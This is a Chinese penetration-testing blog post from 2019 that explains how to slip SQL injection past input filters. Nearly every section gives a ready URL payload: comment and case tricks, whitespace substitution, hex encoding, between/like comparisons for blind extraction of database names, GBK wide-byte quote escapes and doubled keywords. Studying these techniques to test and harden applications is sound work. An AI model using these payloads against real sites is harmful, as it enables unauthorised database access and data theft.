渗透测试–SQL绕过技巧

作者: H0r2yC 分类: 渗透测试 发布时间: 2019-06-25 17:04

 发现了可能存在注入点的地方之后,首先判断该值存在于语句的哪一个位置,select还是where。在存在过滤的情况下,除使用sqlmap的tamper以及fuzz工具外,一般先通过手注,再写脚本跑出结果,本文章主要内容为手注by pass技巧。

0x01 注释绕过

    当空格或函数被过滤时,可以使用注释重新组合语句绕过。常用的过滤符有//,– , /**/, #, –+, — -, ;,%00,–a,如:

?a=-1/**/union%09select(@@version)

    在mysql中,/*!*/中如果存在语句,那么Mysql是可以识别并执行的。但是如果在其他数据库中不会被执行,这是mysql为了保持兼容。如:

?a=-1/**/union/**//*!select*/(@@version)

    mssql中还可以使用类型转换修饰符N绕过,如:

?a=1 and 'as'=N'as'

0x02 大小写绕过

    关键词如union,where等被过滤还可以采用大小写绕过,如:

?a=-1 UnIon seLeCt(@@version)

0x03 字符替换空格绕过

    空格url编码为%20,可以将%20替换为%09,%0A等实现绕过,本质是将空格替换为其他字符,如%09解码后为tab,实质上是用tab代替空格,如:

?a=-1%09union%09select(@@version)

0x04 括号绕过

    mysql括号可以包含子查询,所以可以尝试构造语句替代空格,如:

?a=1%09union(select(@@version))

0x05 编码绕过

    编码绕过属于通用方法,在关键词被过滤的时候可以使用URL编码、URL双重编码、ASCII编码、HEX编码、unicode编码绕过。这里我用MYSQL测试,只验证HEX编码。如:

?a=-1 union select id from test where sname=0x7fffffff

0x06 between绕过

    在获取具体信息的时候我们通常通过<>运算符比较每个字符的ascii码获取信息,如:

?a=1 and ascii(substr(database(),0,1))<96

    如果运算符<,>被过滤,我们判断字段就需要采取其他方法,比如使用greatest函数或者使用between函数绕过,greatest函数输出多个值中的最大值,我们把我们想要的值和后面的值比较,再递减,那么输出也就是值本身,但是需要主要的是greatest函数仍然需要=运算符,如:

?a=1 and greatest(ascii(substr(database(),0,1)),96)=96

    如果=被过滤,可以使用<>、like绕过,<>为不等于号,如:

?a=1 and ascii(substr(database(),0,1))<>96

?a=1 and ascii(substr(database(),0,1)) like 0

    如果<>=都被过滤,可以使用between,and函数,把待比较值放在between and函数前面,然后确定该值范围,例第一个值ascii码为96,构造语句?a=1 and ascii(substr(database(),0,1) between 96 and 97),后面between 96 and 97等价于96<=value<97,由此来判断值。如:

?a=1 and ascii(substr(database(),0,1) between 1 and 96)

0x07 逻辑绕过

    当and,or字符被过滤时,可以替换尝试绕过

and = &&

xor = |    #异或

or = ||

not = !

如:

?a=-1 || ascii(substr(database(),0,1))<1

0x08 宽字节绕过

    过滤了’的情况,实质上是将单引号转义为了\’,\’URL编码为%5c%27,在 %5c%27 前面添加 %df ,就变成了 %df%5c%27 ,mysql 在 GBK 编码的时候会将%df%5c当做一个汉字,那么%27 就可以绕过转义了,如:

?a=-1%df%27

    上边是通过组合%df绕过,我们还可以通过转义\来绕过,比如\\’,把要转义单引号的\给转移掉,也可以达到绕过的目的,\\’URL编码为%5c%5c%27,如:

?a=1%5c%5c%27

0x09双写绕过

    如果过滤了某个关键词,可以尝试写两次关键词,如果只检测第一个而不检测第二个,就可以实现绕过的目的,如:

?a=1 unionunion select(@@version)

    鉴于本文提及的绕过方式,过一段时间会把基于本文绕过方法编写的fuzz工具分享出来,目前还不完善。

    如果对本文感兴趣,欢迎下方关注我的公众号。

     

公众号:网安成长笔记

发表评论